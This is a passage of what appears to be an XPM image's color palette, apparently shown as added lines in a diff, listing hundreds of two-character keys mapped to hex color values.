+"2] c #D4D98D", +"3] c #726D58", +"4] c #E8DBCF", +"5] c #FFF7DF", +"6] c #FFFFEA", +"7] c #DED3BD", +"8] c #4F4B3E", +"9] c #272917", +"0] c #686845", +"a] c #A29F6F", +"b] c #C5C185", +"c] c #E0DB97", +"d] c #F2ECA1", +"e] c #FAF1A6", +"f] c #FCF3A6", +"g] c #F9F0A5", +"h] c #F4EBA4", +"i] c #EFE6A2", +"j] c #E7DDA1", +"k] c #F1E8A0", +"l] c #F0E99F", +"m] c #D8CD9C", +"n] c #FFF7B6", +"o] c #9D976F", +"p] c #95846D", +"q] c #FBE1B9", +"r] c #E3CCA8", +"s] c #DFC79E", +"t] c #FCD9A1", +"u] c #907C5C", +"v] c #333123", +"w] c #756952", +"x] c #BEB676", +"y] c #FDF78E", +"z] c #DBC88F", +"A] c #DCC58C", +"B] c #E2CA8A", +"C] c #DFC789", +"D] c #D6BF87", +"E] c #BBA785", +"F] c #C6B984", +"G] c #FFFB83", +"H] c #FEF880", +"I] c #DBCE7F", +"J] c #B79E7D", +"K] c #D3B67B", +"L] c #DFBC7A", +"M] c #E3BD78", +"N] c #E0BA76", +"O] c #DAB374", +"P] c #D4AC72", +"Q] c #D5B176", +"R] c #DCAF6E", +"S] c #CA7527", +"T] c #713812", +"U] c #471923", +"V] c #FFE25B", +"W] c #FBFF6F", +"X] c #F9FE69", +"Y] c #F8FE72", +"Z] c #F4FA74", +"`] c #ECF176", +" ^ c #E3E778", +".^ c #CED479", +"+^ c #DCDB7B", +"@^ c #DAD97F", +"#^ c #BFC480", +"$^ c #D0D282", +"%^ c #D3D684", +"&^ c #D3D685", +"*^ c #D2D786", +"=^ c #D2D788", +"-^ c #D5D98A", +";^ c #D7DB8B", +">^ c #DBDF8C", +",^ c #E0E38E", +"'^ c #E4E78F", +")^ c #E7EB90", +"!^ c #95985F", +"~^ c #A49689", +"{^ c #FFF0D1", +"]^ c #EBDCC2", +"^^ c #EDDCC2", +"/^ c #FFFDE1", +"(^ c #6A6457", +"_^ c #363A23", +":^ c #91936A", +"<^ c #BABD8E", +"[^ c #CCCFA0", +"}^ c #DBDCA0", +"|^ c #F7F6A0", +"1^ c #FFFFA0", +"2^ c #E9E9A1", +"3^ c #D3D8A2", +"4^ c #E4E8A2", +"5^ c #EDF0A3", +"6^ c #F0F4A3", +"7^ c #EFF4A2", +"8^ c #FFFFB1", +"9^ c #E4E999", +"0^ c #6D6C50", +"a^ c #D6C9C2", +"b^ c #FFFBE3", +"c^ c #EEE2D0", +"d^ c #F2E8D6", +"e^ c #F2E7D7", +"f^ c #EFE1D0", +"g^ c #FFFFE8", +"h^ c #DAD0BB", +"i^ c #302D23", +"j^ c #404224", +"k^ c #84825B", +"l^ c #A6A475", +"m^ c #D4D090", +"n^ c #F1EBA1", +"o^ c #FBF4A6", +"p^ c #FCF4A5", +"q^ c #F9F2A4", +"r^ c #F8EFA2", +"s^ c #F5ECA1", +"t^ c #F1E7A0", +"u^ c #EDE39F", +"v^ c #E5DA9E", +"w^ c #F1E99D", +"x^ c #F1EA9C", +"y^ c #DACF9B", +"z^ c #ECE0A5", +"A^ c #B4AE7B", +"B^ c #867B60", +"C^ c #F9DFB9", +"D^ c #E4CEAB", +"E^ c #E3CAA4", +"F^ c #F3D3A0", +"G^ c #B69C72", +"H^ c #3F3A29", +"I^ c #675D45", +"J^ c #A59A6A", +"K^ c #F8F489", +"L^ c #E2D18D", +"M^ c #D7BF8A", +"N^ c #DFC788", +"O^ c #DCC487", +"P^ c #D3BC85", +"Q^ c #B8A384", +"R^ c #CCC082", +"S^ c #FFFE81", +"T^ c #FFFC7F", +"U^ c #CCBD7D", +"V^ c #B69D7B", +"W^ c #D2B37A", +"X^ c #DDBA78", +"Y^ c #DFBA76", +"Z^ c #D6AE74", +"`^ c #D7B073", +" / c #DDBC71", +"./ c #D7B573", +"+/ c #D9A66D", +"@/ c #CD7628", +"#/ c #733812", +"$/ c #4E201E", +"%/ c #FFE25A", +"&/ c #FBFF6D", +"*/ c #F8FE67", +"=/ c #F9FF6E", +"-/ c #F8FD70", +";/ c #F1F672", +">/ c #E6EB74", +",/ c #D8DD76", +"'/ c #C8CC77", +")/ c #FEF979", +"!/ c #F7F27B", +"~/ c #B8BC7C", +"{/ c #C3C67E", +"]/ c #C4C880", +"^/ c #C9CD82", +"// c #D8DA83", +"(/ c #E3E484", +"_/ c #ECEA86", +":/ c #EBE988", +"( c #FFE258", +",( c #FBFF6B", +"'( c #F8FE66", +")( c #F8FE68", +"!( c #FAFF6D", +"~( c #F6FC6F", +"{( c #EDF271", +"]( c #E1E572", +"^( c #C9CE74", +"/( c #D4D376", +"(( c #FFFF77", +"_( c #D6D479", +":( c #AAAF7B", +"<( c #B2B67C", +"[( c #C6C87E", +"}( c #F1EF80", +"|( c #FFFC83", +"1( c #FCF584", +"2( c #F6F186", +"3( c #F8F487", +"4( c #D9DD8B", +"5( c #E2E78C", +"6( c #A5A369", +"7( c #CDBBAE", +"8( c #F9EBD4", +"9( c #F0E4D1", +"0( c #F0E5D2", +"a( c #F6E7D2", +"b( c #FFF3DA", +"c( c #555148", +"d( c #3E412C", +"e( c #AEAA67", +"f( c #FBF38C", +"g( c #EDEC9C", +"h( c #CFD09C", +"i( c #C4C89C", +"j( c #D6D99C", +"k( c #F9F69D", +"l( c #F7F49E", +"m( c #DEE19E", +"n( c #DADF9E", +"o( c #898E59", +"p( c #9D908D", +"q( c #FFFFEE", +"r( c #EDDFCA", +"s( c #FFF2DC", +"t( c #FFFFED", +"u( c #F6ECD6", +"v( c #51493F", +"w( c #32341C", +"x( c #767653", +"y( c #A3A16D", +"z( c #DCD891", +"A( c #EBE7A1", +"B( c #F2EDA2", +"C( c #F3ED9F", +"D( c #F5EE9E", +"E( c #F7EF9E", +"F( c #F7EE9D", +"G( c #F6ED9C", +"H( c #F3E99C", +"I( c #EFE49B", +"J( c #EBE09A", +"K( c #E3D79A", +"L( c #F4EC99", +"M( c #EBE298", +"N( c #D8CC96", +"O( c #FDEFAA", +"P( c #9D9569", +"Q( c #978870", +"R( c #FEE6BF", +"S( c #E5D1B0", +"T( c #E4CEAA", +"U( c #F3D6A5", +"V( c #B79E75", +"W( c #423C29", +"X( c #645C3E", +"Y( c #8E7F60", +"Z( c #EAE282", +"`( c #F5E98A", +" _ c #D0B886", +"._ c #D8C084", +"+_ c #D3BC83", +"@_ c #CAB481", +"#_ c #AC9980", +"$_ c #E3D97E", +"%_ c #F6EE7B", +"&_ c #B6A279", +"*_ c #BDA478", +"=_ c #CFB176", +"-_ c #CFA874", +";_ c #E3C773", +">_ c #F6EA71", +",_ c #D5B66F", +"'_ c #CEA86D", +")_ c #D4B470", +"!_ c #F7DF69", +"~_ c #D18127", +"{_ c #703412", +"]_ c #612D19", +"^_ c #CC671E", +"/_ c #FFE257", +"(_ c #FBFF6A", +"__ c #F8FE64", +":_ c #F8FE6A", +"<_ c #F9FF6B", +"[_ c #F5FB6C", +"}_ c #EAEE6E", +"|_ c #DBE070", +"1_ c #C1C672", +"2_ c #E7E373", +"3_ c #FFFF75", +"4_ c #B3B677", +"5_ c #A1A679", +"6_ c #D6D57A", +"7_ c #FFFD7C", +"8_ c #FCF97E", +"9_ c #E8E77F", +"0_ c #DBDC81", +"a_ c #D3D682", +"b_ c #D2D684", +"c_ c #D5D985", +"d_ c #E6E786", +"e_ c #F8F589", +"f_ c #DEE18B", +"g_ c #E4ED86", +"h_ c #A4A170", +"i_ c #DECCC1", +"j_ c #F5E9D5", +"k_ c #F0E5D4", +"l_ c #A09689", +"m_ c #3D3D1C", +"n_ c #A09B56", +"o_ c #BEBD7C", +"p_ c #C4C897", +"q_ c #D0D39B", +"r_ c #D9DB9A", +"s_ c #D4D89A", +"t_ c #CCD29B", +"u_ c #F0EF9B", +"v_ c #FFFC99", +"w_ c #FFFFB0", +"x_ c #B2B572", +"y_ c #7F7671", +"z_ c #FFF8E9", +"A_ c #F8ECD6", +"B_ c #E1D3C3", +"C_ c #AEA495", +"D_ c #AEA498", +"E_ c #BBB2A8", +"F_ c #AEA89C", +"G_ c #5B5547", +"H_ c #404225", +"I_ c #7E7D54", +"J_ c #9A996A", +"K_ c #D1CE8B", +"L_ c #F4EF9D", +"M_ c #EDE89F", +"N_ c #EEE99D", +"O_ c #F4ED9C", +"P_ c #F7EE9B", +"Q_ c #F5EB9A", +"R_ c #F2E799", +"S_ c #EEE399", +"T_ c #E8DD98", +"U_ c #E7DC97", +"V_ c #F5ED96", +"W_ c #E0D695", +"X_ c #E0D497", +"Y_ c #E3D794", +"Z_ c #867C5C", +"`_ c #D6BFA0", +" : c #EDD8B7", +".: c #E7D3B2", +"+: c #E5CFAB", +"@: c #F8DBA8", +"#: c #AE966F", +"$: c #3B3624", +"%: c #685E3F", +"&: c #908160", +"*: c #EBE380", +"=: c #F4E887", +"-: c #CDB584", +";: c #D3BC82", +">: c #CCB681", +",: c #BCA87F", +"': c #B3A27D", +"): c #F7F07C", +"!: c #FFFF7B", +"~: c #E4DA79", +"{: c #AB9477", +"]: c #C4A976", +"^: c #CEAE74", +"/: c #D3AF73", +"(: c #F4E670", +"_: c #D6BA6F", +":: c #C0986D", +"<: c #C49D6B", +"[: c #D8BD6E", +"}: c #F6DD68", +"|: c #C77426", +"1: c #6F3513", +"2: c #FFE256", +"3: c #FBFF67", +"4: c #F8FE62", +"5: c #F8FF69", +"6: c #F3F96B", +"7: c #E7EC6D", +"8: c #D6DB6F", +"9: c #C1C570", +"0: c #FAF372", +"a: c #F5EC74", +"b: c #A2A575", +"c: c #E4E177", +"d: c #FFFF78", +"e: c #E4E37A", +"f: c #CBCE7B", +"g: c #CDD27D", +"h: c #D5D97E", +"i: c #DCE07F", +"j: c #DEE281", +"k: c #DBDF82", +"l: c #D2D784", +"m: c #FDF887", +"n: c #FBF98C", +"o: c #BFC772", +"p: c #8F896C", +"q: c #F6E4D4", +"r: c #F3E8D6", +"s: c #F4EADB", +"t: c #F4EBDC", +"u: c #F3E9D9", +"v: c #FFFAE5", +"w: c #CDC1B1", +"x: c #4A4729", +"y: c #717043", +"z: c #8C8F6C", +"A: c #C9CC90", +"B: c #DEE199", +"C: c #DCE097", +"D: c #D6DB98", +"E: c #DFE098", +"F: c #EBE997", +"G: c #F7F6A6", +"H: c #D1D485", +"I: c #7B755A", +"J: c #E9E1DB", +"K: c #FFFDE7", +"L: c #FFFFF1", +"M: c #A7A195", +"N: c #3C3C2D", +"O: c #363720", +"P: c #545333", +"Q: c #5E5F45", +"R: c #636341", +"S: c #868754", +"T: c #A9A770", +"U: c #B1B075", +"V: c #EAE59A", +"W: c #F8F39D", +"X: c #EBE59B", +"Y: c #EDE79B", +"Z: c #F1EA9A", +"`: c #F4EC9A", +" < c #F7ED99", +".< c #F7EC98", +"+< c #F4E998", +"@< c #F0E597", +"#< c #ECE196", +"$< c #E3D695", +"%< c #EEE494", +"&< c #F4ED94", +"*< c #D7CA91", +"=< c #FFF0A7", +"-< c #928A5D", +";< c #8B7B67", +">< c #FFECC5", +",< c #E6D3B4", +"'< c #E8D4B5", +")< c #FFE0AC", +"!< c #8A7859", +"~< c #302D1D", +"{< c #6E6342", +"]< c #968562", +"^< c #EFE780", +"/< c #F7EC85", +"(< c #C9B282", +"_< c #CCB680", +":< c #C5B17E", +"<< c #A8947D", +"[< c #CBBE7C", +"}< c #FFFF7A", +"|< c #FFFF79", +"1< c #C7B877", +"2< c #AF9575", +"3< c #CAAC74", +"4< c #CEAA72", +"5< c #E0C371", +"6< c #F3E56F", +"7< c #C19B6D", +"8< c #C3A06B", +"9< c #C09B69", +"0< c #DAC36C", +"a< c #DEB765", +"b< c #BB6625", +"c< c #6F3712", +"d< c #FFE254", +"e< c #FAFF65", +"f< c #F8FE60", +"g< c #F9FE65", +"h< c #F8FF67", +"i< c #F2F969", +"j< c #E5EB6B", +"k< c #D4DA6D", +"l< c #C4C86E", +"m< c #F9F170", +"n< c #F3EE72", +"o< c #EFEB73", +"p< c #FDF775", +"q< c #C8CB76", +"r< c #C2C778", +"s< c #D7DC79", +"t< c #E0E47B", +"u< c #E4E87C", +"v< c #E6EA7D", +"w< c #E6EB7F", +"x< c #E4E980", +"y< c #E1E582", +"z< c #D5DB83", +"A< c #D7DA84", +"B< c #FFFF90", +"C< c #B8B85E", +"D< c #827C6E", +"E< c #F4EBDD", +"F< c #F5ECDE", +"G< c #F4EADC", +"H< c #FFF6E1", +"I< c #D9CCBB", +"J< c #424030", +"K< c #4B4D37", +"L< c #858862", +"M< c #C8CB89", +"N< c #E0E496", +"O< c #D9DE95", +"P< c #E3E595", +"Q< c #F6F295", +"R< c #DBDE99", +"S< c #DCE49D", +"T< c #6B6D4D", +"U< c #BDB2B0", +"V< c #FFFFF5", +"W< c #90897E", +"X< c #282915", +"Y< c #545635", +"Z< c #85865F", +"`< c #BEBC79", +" [ c #DBD98A", +".[ c #DEDD94", +"+[ c #DEDB90", +"@[ c #DAD78D", +"#[ c #E2DF91", +"$[ c #FBF7A4", +"%[ c #FFFFA6", +"&[ c #F6F19B", +"*[ c #FFFAA1", +"=[ c #FEF49C", +"-[ c #F7ED97", +";[ c #F3E896", +">[ c #EEE295", +",[ c #E9DE94", +"'[ c #E0D493", +")[ c #F4EC93", +"![ c #E7DE90", +"~[ c #F3E4A0", +"{[ c #C2B87A", +"][ c #6D624C", +"^[ c #EED6B3", +"/[ c #EEDBBB", +"([ c #E9D7B9", +"_[ c #E5CEAA", +":[ c #F9D9A5", +"<[ c #6B5E45", +"[[ c #35321F", +"}[ c #726645", +"|[ c #9C8A66", +"1[ c #F4EB80", +"2[ c #F7EC83", +"3[ c #C1AB80", +"4[ c #C3B07E", +"5[ c #B5A27C", +"6[ c #A7967B", +"7[ c #F2EB7A", +"8[ c #F6EE77", +"9[ c #B49F75", +"0[ c #BEA273", +"a[ c #D0AF72", +"b[ c #D5B070", +"c[ c #D2AB6F", +"d[ c #F9EC6D", +"e[ c #E0CB6B", +"f[ c #B2896A", +"g[ c #B89467", +"h[ c #B48D6A", +"i[ c #BE8B64", +"j[ c #BD6E24", +"k[ c #6C3612", +"l[ c #451922", +"m[ c #FFE253", +"n[ c #FAFF64", +"o[ c #F7FE5F", +"p[ c #F8FE61", +"q[ c #F9FE64", +"r[ c #F8FF65", +"s[ c #F2F967", +"t[ c #E7EC69", +"u[ c #D6DC6A", +"v[ c #CACE6C", +"w[ c #F5EE6E", +"x[ c #FFFF70", +"y[ c #F5F171", +"z[ c #BBBF73", +"A[ c #C1C674", +"B[ c #DADE76", +"C[ c #E4E977", +"D[ c #E9EE79", +"E[ c #ECF27A", +"F[ c #EFF47C", +"G[ c #EEF37D", +"H[ c #ECF07F", +"I[ c #E5EA7F", +"J[ c #DFE381", +"K[ c #CED482", +"L[ c #FFFE90", +"M[ c #C2BC59", +"N[ c #9F9487", +"O[ c #FFFEE9", +"P[ c #F3EADB", +"Q[ c #F5ECDF", +"R[ c #F5EDE0", +"S[ c #F5ECDD", +"T[ c #FFFBE6", +"U[ c #D4C8B5", +"V[ c #32312A", +"W[ c #494B38", +"X[ c #86885E", +"Y[ c #C6CA85", +"Z[ c #DDE293", +"`[ c #E0E493", +" } c #F7F393", +".} c #D4D791", +"+} c #F0F6A7", +"@} c #9A9B57", +"#} c #9B9089", +"$} c #FFFFF8", +"%} c #FFFFF6", +"&} c #9B9488", +"*} c #2B2E14", +"=} c #656743", +"-} c #82825C", +";} c #A9AA7B", +">} c #DFDD92", +",} c #F7F399", +"'} c #E7E69A", +")} c #EEEB98", +"!} c #F5F39D", +"~} c #FFFFA8", +"{} c #BDBC74", +"]} c #989463", +"^} c #A8A473", +"/} c #A19B72", +"(} c #9F9967", +"_} c #99955A", +":} c #D6CF7C", +"<} c #F5EA95", +"[} c #F1E694", +"}} c #ECE193", +"|} c #E3D692", +"1} c #E9DF91", +"2} c #F6EE8E", +"3} c #EFE19A", +"4} c #DFD38B", +"5} c #605940", +"6} c #C9B499", +"7} c #FFEBC6", +"8} c #E8D6BB", +"9} c #E9D2AA", +"0} c #E4C696", +"a} c #594F37", +"b} c #4C452A", +"c} c #776A48", +"d} c #A6946C", +"e} c #FCF580", +"f} c #ECE080", +"g} c #B6A17E", +"h} c #B9A87C", +"i} c #9B8A7A", +"j} c #CCBF79", +"k} c #FFFF76", +"l} c #D7C975", +"m} c #AE9473", +"n} c #CBAD72", +"o} c #D6B370", +"p} c #DCB56E", +"q} c #D1A76C", +"r} c #D7B86B", +"s} c #FDF669", +"t} c #E5D468", +"u} c #C4A866", +"v} c #C7AD68", +"w} c #E6CC62", +"x} c #BB7322", +"y} c #652E11", +"z} c #441822", +"A} c #FFE252", +"B} c #FAFF61", +"C} c #F7FE5D", +"D} c #F9FE62", +"E} c #F8FF64", +"F} c #F3F965", +"G} c #EAEF67", +"H} c #DDE369", +"I} c #CFD46B", +"J} c #FCF46C", +"K} c #F0EC6E", +"L} c #BEC36F", +"M} c #C8CE71", +"N} c #DBDF72", +"O} c #E5EA74", +"P} c #EEF375", +"Q} c #F2F777", +"R} c #F4F978", +"S} c #F3F87B", +"T} c #E7EB7E", +"U} c #D2D680", +"V} c #E9EC8A", +"W} c #ACA85F", +"X} c #C4B5A9", +"Y} c #FFF5E2", +"Z} c #F5EDE1", +"`} c #FFFFEC", +" | c #C3B8A7", +".| c #282820", +"+| c #50533D", +"@| c #85885E", +"#| c #C6CA84", +"$| c #D7DC91", +"%| c #F2F090", +"&| c #E4E48F", +"*| c #E6EDA2", +"=| c #CDCE6F", +"-| c #7E7561", +";| c #F5EEEA", +">| c #C9BFB5", +",| c #36371F", +"'| c #61643E", +")| c #787953", +"!| c #B6B577", +"~| c #D4D591", +"{| c #F4F097", +"]| c #F0EC96", +"^| c #E5E394", +"/| c #F5F29B", +"(| c #FFFD9D", +"_| c #99995E", +":| c #7E7668", +"<| c #B7ACA2", +"[| c #CDC0B3", +"}| c #CEBEAD", +"|| c #BEAF9D", +"1| c #93897B", +"2| c #746D56", +"3| c #8A854D", +"4| c #DED483", +"5| c #E6DA8D", +"6| c #E7DC90", +"7| c #DFD190", +"8| c #F4ED8D", +"9| c #FCF297", +"0| c #E8D991", +"a| c #655E3F", +"b| c #B19F88", +"c| c #FFF1CB", +"d| c #E7D7BC", +"e| c #EAD8BD", +"f| c #E6D2B2", +"g| c #FFE4B2", +"h| c #B09974", +"i| c #332E1E", +"j| c #655B39", +"k| c #7D6E50", +"l| c #BBAB72", +"m| c #D0C17D", +"n| c #AD9C7B", +"o| c #9B8B7A", +"p| c #A79878", +"q| c #FBF677", +"r| c #F9F274", +"s| c #B09B73", +"t| c #BEA171", +"u| c #D4B370", +"v| c #DDB76E", +"w| c #E1B76C", +"x| c #DEB56B", +"y| c #C99F69", +"z| c #C9A667", +"A| c #E8D966", +"B| c #FDF864", +"C| c #FFFF67", +"D| c #FFFC60", +"E| c #AF6921", +"F| c #5F2A10", +"G| c #4C201D", +"H| c #FFE251", +"I| c #FAFF5F", +"J| c #F7FE5B", +"K| c #F8FF62", +"L| c #F4FB64", +"M| c #EEF465", +"N| c #E6EC67", +"O| c #DBE169", +"P| c #E6E66A", +"Q| c #D6D86C", +"R| c #D1D76D", +"S| c #E0E46F", +"T| c #E6EB70", +"U| c #EEF472", +"V| c #F4F973", +"W| c #F4F975", +"X| c #F4F976", +"Y| c #F1F777", +"Z| c #EEF479", +"`| c #EAEF7A", +" 1 c #E3E87B", +".1 c #DBDE7D", +"+1 c #D3D67E", +"@1 c #C6CD78", +"#1 c #7C7959", +"$1 c #E0CFC1", +"%1 c #F9EEDD", +"&1 c #F5EDE2", +"*1 c #FFFFF4", +"=1 c #ABA191", +"-1 c #222517", +";1 c #9D9D63", +">1 c #C9CD85", +",1 c #DBDD8F", +"'1 c #EAE88D", +")1 c #D6DB94", +"!1 c #EDEE87", +"~1 c #7F794C", +"{1 c #D4CCCF", +"]1 c #FFFFF9", +"^1 c #F1EAE1", +"/1 c #5B5845", +"(1 c #4D5129", +"_1 c #74744C", +":1 c #B3B16B", +"<1 c #E5E28C", +"[1 c #F3EF93", +"}1 c #DDDC92", +"|1 c #EAE792", +"11 c #FFFF9C", +"21 c #919058", +"31 c #897E7A", +"41 c #FFF4DE", +"51 c #FFF5D6", +"61 c #F4E3C5", +"71 c #FBEACA", +"81 c #FFFCD8", +"91 c #70655B", +"01 c #5C5932", +"a1 c #B7AF6E", +"b1 c #CBBF81", +"c1 c #EDE48B", +"d1 c #FFFC95", +"e1 c #EBDD8F", +"f1 c #6D6643", +"g1 c #A89681", +"h1 c #FFF0CC", +"i1 c #E9D8BD", +"j1 c #EDDCC3", +"k1 c #EAD7BB", +"l1 c #E6D1AD", +"m1 c #FFE1AB", +"n1 c #6D5F46", +"o1 c #332F1B", +"p1 c #6F6340", +"q1 c #85745C", +"r1 c #DACE78", +"s1 c #FFFF7E", +"t1 c #B3A57A", +"u1 c #9D9078", +"v1 c #EFE976", +"w1 c #FFFF73", +"x1 c #C0AE72", +"y1 c #B09470", +"z1 c #D1B16F", +"A1 c #DCB66D", +"B1 c #E3BA6C", +"C1 c #E5B96A", +"D1 c #E2B769", +"E1 c #D9B067", +"F1 c #C69D66", +"G1 c #B28764", +"H1 c #C6A962", +"I1 c #FFFF65", +"J1 c #EED95E", +"K1 c #9E5420", +"L1 c #633010", +"M1 c #A24800", +"N1 c #CC671F", +"O1 c #FFE250", +"P1 c #F8FF5D", +"Q1 c #F7FE59", +"R1 c #F7FE5E", +"S1 c #F7FF60", +"T1 c #F5FC61", +"U1 c #F1F763", +"V1 c #EDF365", +"W1 c #E8EE67", +"X1 c #DDE468", +"Y1 c #DFE56A", +"Z1 c #E7EC6B", +"`1 c #EBF06C", +" 2 c #EEF46E", +".2 c #F1F76F", +"+2 c #F2F871", +"@2 c #F0F672", +"#2 c #EDF274", +"$2 c #E9EE75", +"%2 c #E6EA76", +"&2 c #E1E678", +"*2 c #D8DE79", +"=2 c #CDD27A", +"-2 c #CFD381", +";2 c #9DA560", +">2 c #88816A", +",2 c #FFF1DD", +"'2 c #F4EADA", +")2 c #F5ECE1", +"!2 c #7C7564", +"~2 c #393914", +"{2 c #7B7946", +"]2 c #B7B469", +"^2 c #EBE886", +"/2 c #FEFC8C", +"(2 c #E2E28A", +"_2 c #E2E997", +":2 c #92904A", +"<2 c #ABA0A0", +"[2 c #FFFFFB", +"}2 c #A49B8E", +"|2 c #353915", +"12 c #707146", +"22 c #9D9A5A", +"32 c #D1D080", +"42 c #D7D891", +"52 c #EFEC91", +"62 c #F5F08F", +"72 c #DFDD8E", +"82 c #AAAA60", +"92 c #807770", +"02 c #F1E1C5", +"a2 c #F0E1C6", +"b2 c #FFFFE7", +"c2 c #EDDEC4", +"d2 c #E8D9BE", +"e2 c #F8E7C6", +"f2 c #FFF7D5", +"g2 c #62584C", +"h2 c #4A4728", +"i2 c #B2AA68", +"j2 c #F2EA87", +"k2 c #F0E38C", +"l2 c #716844", +"m2 c #9F9180", +"n2 c #FFF3D0", +"o2 c #EDDDC4", +"p2 c #EDDDC5", +"q2 c #E4D1B3", +"r2 c #FFE9B7", +"s2 c #B8A17A", +"t2 c #2C2819", +"u2 c #615634", +"v2 c #756849", +"w2 c #948569", +"x2 c #FDF77B", +"y2 c #807578", +"z2 c #8C8077", +"A2 c #EBE575", +"B2 c #FFFF74", +"C2 c #CBBB72", +"D2 c #A78E70", +"E2 c #CAAB6E", +"F2 c #D9B46D", +"G2 c #E2B96B", +"H2 c #E8BB6A", +"I2 c #E8BA68", +"J2 c #E5B766", +"K2 c #DDB065", +"L2 c #D1A864", +"M2 c #C59E62", +"N2 c #AA8160", +"O2 c #F2E763", +"P2 c #EFD95C", +"Q2 c #9B5020", +"R2 c #643210", +"S2 c #FFE24F", +"T2 c #F8FF5C", +"U2 c #F6FE58", +"V2 c #F7FE5A", +"W2 c #F7FE5C", +"X2 c #F5FE60", +"Y2 c #F3FB61", +"Z2 c #F1F863", +"`2 c #EFF664", +" 3 c #EDF366", +".3 c #EDF368", +"+3 c #EEF569", +"@3 c #F0F66B", +"#3 c #F0F66C", +"$3 c #EFF56E", +"%3 c #ECF26F", +"&3 c #E8EE71", +"*3 c #E4E971", +"=3 c #DDE273", +"-3 c #D2D975", +";3 c #D0D676", +">3 c #D5D977", +",3 c #DADC78", +"'3 c #EDEF83", +")3 c #ABAB55", +"!3 c #AA9E8D", +"~3 c #F5EDE3", +"{3 c #FBF1E1", +"]3 c #FBEDDA", +"^3 c #524F41", +"/3 c #3D4020", +"(3 c #717349", +"_3 c #AAAE6E", +":3 c #D8DB86", +"<3 c #ECEC88", +"[3 c #FFFF97", +"}3 c #BDBD63", +"|3 c #847D72", +"13 c #FFFDF4", +"23 c #FFFBE8", +"33 c #EAE1D7", +"43 c #4F4E37", +"53 c #5A5D2F", +"63 c #82804B", +"73 c #BEBB70", +"83 c #D2D38A", +"93 c #DADA8F", +"03 c #EAE78D", +"a3 c #EFEB8D", +"b3 c #E3E18E", +"c3 c #EBEA88", +"d3 c #847F5F", +"e3 c #E3D2C7", +"f3 c #F9ECCF", +"g3 c #F2E6CC", +"h3 c #FBEED7", +"i3 c #A1988C", +"j3 c #C0B6AA", +"k3 c #FFF6E2", +"l3 c #F0E1CB", +"m3 c #FFF1D2", +"n3 c #E2CFB8", +"o3 c #3D3A27", +"p3 c #898544", +"q3 c #ADA35F", +"r3 c #67603E", +"s3 c #A39787", +"t3 c #FFF5D5", +"u3 c #EDDDC3", +"v3 c #ECDDC6", +"w3 c #EEDEC7", +"x3 c #ECDCC3", +"y3 c #E7D5B9", +"z3 c #F5DEB4", +"A3 c #F4D8A5", +"B3 c #4E4633", +"C3 c #3F3A20", +"D3 c #6F6441", +"E3 c #7C6D5B", +"F3 c #CCC173", +"G3 c #948A78", +"H3 c #897F76", +"I3 c #E9E475", +"J3 c #FFFF72", +"K3 c #D3C670", +"L3 c #A38A6F", +"M3 c #C4A66E", +"N3 c #D6B36C", +"O3 c #E1B86B", +"P3 c #E7BB69", +"Q3 c #EABB68", +"R3 c #EABB66", +"S3 c #E8B865", +"T3 c #E0B164", +"U3 c #D5A961", +"V3 c #CAA160", +"W3 c #B2875E", +"X3 c #E5D561", +"Y3 c #F2DE5B", +"Z3 c #A05421", +"`3 c #643110", +" 4 c #FFE24D", +".4 c #F8FF5A", +"+4 c #F6FE56", +"@4 c #F6FE59", +"#4 c #F6FD60", +"$4 c #F4FB63", +"%4 c #F3FA64", +"&4 c #F3FA66", +"*4 c #F0F769", +"=4 c #EDF46A", +"-4 c #E9F06B", +";4 c #E5EA6D", +">4 c #DCE26E", +",4 c #D0D770", +"'4 c #D3D871", +")4 c #E5E572", +"!4 c #F2EF74", +"~4 c #FEF775", +"{4 c #FEF776", +"]4 c #9B964A", +"^4 c #B1A4A0", +"/4 c #FFF8E3", +"(4 c #F5EBDD", +"_4 c #F6EEE1", +":4 c #F6EEE2", +"<4 c #F6EDE1", +"[4 c #FFF9E7", +"}4 c #E3D6C7", +"|4 c #444431", +"14 c #4D502C", +"24 c #81844F", +"34 c #BFC473", +"44 c #D8DE86", +"54 c #D3DA8A", +"64 c #E7EB80", +"74 c #888250", +"84 c #DBD2D1", +"94 c #FFFAE4", +"04 c #FFFFFA", +"a4 c #90887C", +"b4 c #333611", +"c4 c #6E7043", +"d4 c #A6A45D", +"e4 c #D6D47F", +"f4 c #D9D98C", +"g4 c #DDDB8B", +"h4 c #DDDA8A", +"i4 c #DEDB8A", +"j4 c #F8F595", +"k4 c #A8A65E", +"l4 c #A19889", +"m4 c #FFFFE6", +"n4 c #EBDBC1", +"o4 c #968E80", +"p4 c #141400", +"q4 c #2F2D17", +"r4 c #C1BAAF", +"s4 c #FEFBEC", +"t4 c #8D8472", +"u4 c #171600", +"v4 c #46412B", +"w4 c #B4AB9E", +"x4 c #FFFBE0", +"y4 c #EFE0C8", +"z4 c #ECDEC8", +"A4 c #EDDDC6", +"B4 c #E8D7BC", +"C4 c #F2DCB7", +"D4 c #FFE9B6", +"E4 c #6A5D48", +"F4 c #2C2814", +"G4 c #6C613C", +"H4 c #776A50", +"I4 c #A1946B", +"J4 c #D5CE78", +"K4 c #A19875", +"L4 c #FAF673", +"M4 c #FFFF71", +"N4 c #D6CA70", +"O4 c #A58D6F", +"P4 c #C1A46D", +"Q4 c #D3B16C", +"R4 c #DFB76A", +"S4 c #E6BB69", +"T4 c #EABC67", +"U4 c #EBBB66", +"V4 c #EBBB65", +"W4 c #EAB863", +"X4 c #E3B162", +"Y4 c #D7A960", +"Z4 c #CDA25E", +"`4 c #B6895D", +" 5 c #E7D65F", +".5 c #F4E059", +"+5 c #A55721", +"@5 c #663211", +"#5 c #FFE24C", +"$5 c #F8FF57", +"%5 c #F6FE54", +"&5 c #F6FE57", +"*5 c #F6FE5B", +"=5 c #F6FE5E", +"-5 c #F6FE61", +";5 c #F4FC62", +">5 c #F0F665", +",5 c #EBF267", +"'5 c #E7ED68", +")5 c #E0E669", +"!5 c #D3DA6B", +"~5 c #D0D66C", +"{5 c #E8E76D", +"]5 c #FCF86F", +"^5 c #FFF870", +"/5 c #EEEB71", +"(5 c #DFE072", +"_5 c #D4D774", +":5 c #CFD66D", +"<5 c #85825A", +"[5 c #DFCDC1", +"}5 c #F9EDDB", +"|5 c #F6EFE2", +"15 c #BDB2A3", +"25 c #36371B", +"35 c #666937", +"45 c #979B55", +"55 c #D3D777", +"65 c #E4EB82", +"75 c #FDFF92", +"85 c #828849", +"95 c #9D9294", +"05 c #FFFFF2", +"a5 c #FDF8E5", +"b5 c #E3D7CB", +"c5 c #424128", +"d5 c #5C5E2E", +"e5 c #7D7F4C", +"f5 c #C7C570", +"g5 c #EEEA86", +"h5 c 